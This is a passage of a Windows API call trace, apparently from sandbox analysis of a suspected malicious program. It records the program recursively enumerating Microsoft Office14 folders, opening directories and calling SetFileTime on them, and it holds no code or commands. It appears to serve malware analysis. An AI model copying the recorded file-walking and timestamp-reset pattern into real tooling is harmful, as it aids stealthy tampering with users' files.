lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKDECL.ICO", cAlternateFileName="")) returned 1 [0078.420] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x217a650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKDECS.ICO", cAlternateFileName="")) returned 1 [0078.420] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x217a650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKL.ICO", cAlternateFileName="")) returned 1 [0078.420] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x21a07b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x31d, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKREQ.CFG", cAlternateFileName="")) returned 1 [0078.420] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x21a07b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKREQL.ICO", cAlternateFileName="")) returned 1 [0078.420] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x21a07b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKREQS.ICO", cAlternateFileName="")) returned 1 [0078.420] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x21a07b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKS.ICO", cAlternateFileName="")) returned 1 [0078.420] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51f93100, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51f93100, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKUPD.CFG", cAlternateFileName="")) returned 1 [0078.420] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51f93100, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51f93100, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKUPD.CFG", cAlternateFileName="")) returned 0 [0078.420] GetLastError () returned 0x12 [0078.420] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.420] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0078.421] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa4f40) returned 1 [0078.421] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.421] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0078.421] GetLastError () returned 0x12 [0078.421] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.421] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.422] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.422] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0078.422] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc59cb00, ftCreationTime.dwHighDateTime=0x1c3e388, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc59cb00, ftLastWriteTime.dwHighDateTime=0x1c3e388, nFileSizeHigh=0x0, nFileSizeLow=0x88933, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRENCH.LNG", cAlternateFileName="")) returned 1 [0078.422] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd02ee500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x17d368, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT.DLL", cAlternateFileName="")) returned 1 [0078.422] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76567200, ftCreationTime.dwHighDateTime=0x1cbc9ed, ftLastAccessTime.dwLowDateTime=0xd7980ce0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x76567200, ftLastWriteTime.dwHighDateTime=0x1cbc9ed, nFileSizeHigh=0x0, nFileSizeLow=0x26cb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="GFX.DLL", cAlternateFileName="")) returned 1 [0078.422] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f91a00, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x52abf210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66f91a00, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x45a180, dwReserved0=0x0, dwReserved1=0x0, cFileName="GKExcel.dll", cAlternateFileName="")) returned 1 [0078.422] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f91a00, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x52b0b4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66f91a00, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x2a6b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="GKPowerPoint.dll", cAlternateFileName="")) returned 1 [0078.422] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65c7ed00, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65c7ed00, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x2f8580, dwReserved0=0x0, dwReserved1=0x0, cFileName="GKWord.dll", cAlternateFileName="")) returned 1 [0078.422] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8748a300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x52befd10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8748a300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x623b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH.EXE", cAlternateFileName="")) returned 1 [0078.422] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2ca8e00, ftCreationTime.dwHighDateTime=0x1cac1de, ftLastAccessTime.dwLowDateTime=0x61a91a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2ca8e00, ftLastWriteTime.dwHighDateTime=0x1cac1de, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graph.exe.manifest", cAlternateFileName="")) returned 1 [0078.422] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32f5d600, ftCreationTime.dwHighDateTime=0x1c3b950, ftLastAccessTime.dwLowDateTime=0x61a91a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32f5d600, ftLastWriteTime.dwHighDateTime=0x1c3b950, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH.ICO", cAlternateFileName="")) returned 1 [0078.422] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x582abeb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove", cAlternateFileName="")) returned 1 [0078.422] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove" (normalized: "c:\\program files\\microsoft office\\office14\\groove"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x582abeb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove" (normalized: "c:\\program files\\microsoft office\\office14\\groove"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0078.422] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0078.423] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11b8048 [0078.423] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11b8048, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x11b8048, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0078.423] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8048) returned 1 [0078.423] NtClose (Handle=0x164) returned 0x0 [0078.423] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0078.423] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0078.423] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.423] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.423] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0078.438] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x582abeb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.438] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Certificates", cAlternateFileName="")) returned 1 [0078.438] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52a72f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52a72f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sounds", cAlternateFileName="")) returned 1 [0078.438] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ToolBMPs", cAlternateFileName="")) returned 1 [0078.438] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51174850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ToolData", cAlternateFileName="")) returned 1 [0078.438] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a4cdf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ToolIcons", cAlternateFileName="")) returned 1 [0078.438] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3caa70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XML Files", cAlternateFileName="")) returned 1 [0078.438] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3caa70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XML Files", cAlternateFileName="")) returned 0 [0078.438] GetLastError () returned 0x12 [0078.438] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0078.438] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.438] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x582abeb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.439] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Certificates", cAlternateFileName="")) returned 1 [0078.439] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.439] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0078.453] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0078.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11b8048 [0078.453] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11b8048, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x11b8048, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0078.453] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8048) returned 1 [0078.453] NtClose (Handle=0x164) returned 0x0 [0078.454] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.454] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.454] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.454] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa4f40 [0078.454] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.454] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac53d0 [0078.454] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0078.454] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.454] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 1 [0078.454] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 1 [0078.454] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 0 [0078.454] GetLastError () returned 0x12 [0078.454] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0078.454] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.454] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.454] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 1 [0078.454] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac54d8 [0078.455] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.455] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac55e0 [0078.455] 